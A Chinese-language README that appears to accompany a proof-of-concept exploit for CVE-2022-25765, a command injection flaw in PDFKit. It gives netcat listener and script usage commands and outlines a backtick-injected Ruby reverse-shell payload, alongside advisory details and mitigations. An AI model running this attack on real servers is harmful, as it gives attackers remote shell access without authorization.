CVE-2022-25765 漏洞利用

针对 CVE-2022-25765（PDFkit 命令注入）的小型 PoC 漏洞利用

使用方法

1. 在攻击机器上启动 netcat 监听器：

   root@kitploit:~

   nc -lvnp 4444
   

2. 运行漏洞利用程序：

   root@kitploit:~

   python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口
   

示例：

python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

参数说明：

• -t, --target：运行存在漏洞的 PDFKit 的目标 URL
• -l, --lhost：用于反向 Shell 连接的你的 IP 地址
• -p, --lport：用于反向 Shell 连接的你的端口（必须与 netcat 监听器匹配）

漏洞信息

CVE ID： CVE-2022-25765
CVSS v3.1 评分： 9.8（严重）
EPSS 评分： 71.381%（99 百分位）
CWE： CWE-77 - 命令中特殊元素未正确中和

受影响版本

• 存在漏洞： PDFKit 0.0.0 - 0.8.6
• 已修复： PDFKit 0.8.7.2+

描述

PDFKit 是一个 Ruby gem，它使用 wkhtmltopdf 命令行工具将 HTML 转换为 PDF。该漏洞存在于 PDFKit 将 URL 参数传递给系统 Shell 命令以生成 PDF 时的处理方式中。

技术细节

漏洞位于 lib/pdfkit/source.rb 中，其中 URL 清理的实现不恰当：

def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

问题原因：

1. PDFKit 使用有缺陷的逻辑来确定 URL 是否需要转义
2. Shell 元字符（反引号、分号、管道等）可以绕过此检查
3. 未清理的 URL 直接传递给调用 wkhtmltopdf 的 Shell 命令
4. 攻击者可以注入任意命令并在服务器上执行

攻击向量：

• 复杂度： 低
• 所需权限： 无
• 用户交互： 无
• 网络访问： 需要

本漏洞利用程序的工作原理

该 PoC 通过以下方式利用漏洞：

1. 注入一个包含反引号命令替换的恶意 URL
2. 载荷：http://攻击者IP:端口/?name=%20` ruby -rsocket...`'
3. PDFKit 未能清理 URL 参数中的反引号
4. 当 wkhtmltopdf 处理该 URL 时，Shell 执行了 Ruby 反向 Shell
5. 目标系统反向连接到攻击者的监听器

影响

• 机密性： 高 - 完全系统访问
• 完整性： 高 - 可修改任意文件
• 可用性： 高 - 可能导致系统中断

成功利用的前提条件

目标系统上：

• 存在漏洞的 PDFKit 版本（< 0.8.7.2）
• 已安装 Ruby（反向 Shell 载荷需要）
• 应用程序接受用户控制的 URL 并传递给 PDFKit
• 没有出口过滤阻止出站连接

修复措施

1. 升级 PDFKit 至 0.8.7.2 或更高版本
2. 输入验证： 对 URL 输入实施严格的白名单机制
3. 沙箱化： 在隔离的容器中以最小权限运行 PDFKit 进程
4. 网络分段： 限制 PDF 生成服务的出站连接
5. WAF 规则： 部署规则以检测 URL 参数中的 Shell 元字符

参考资料

• NVD - CVE-2022-25765
• GitHub 安全公告 GHSA-rhwx-hjx2-x4qr
• PDFKit Issue #507
• RubySec 安全公告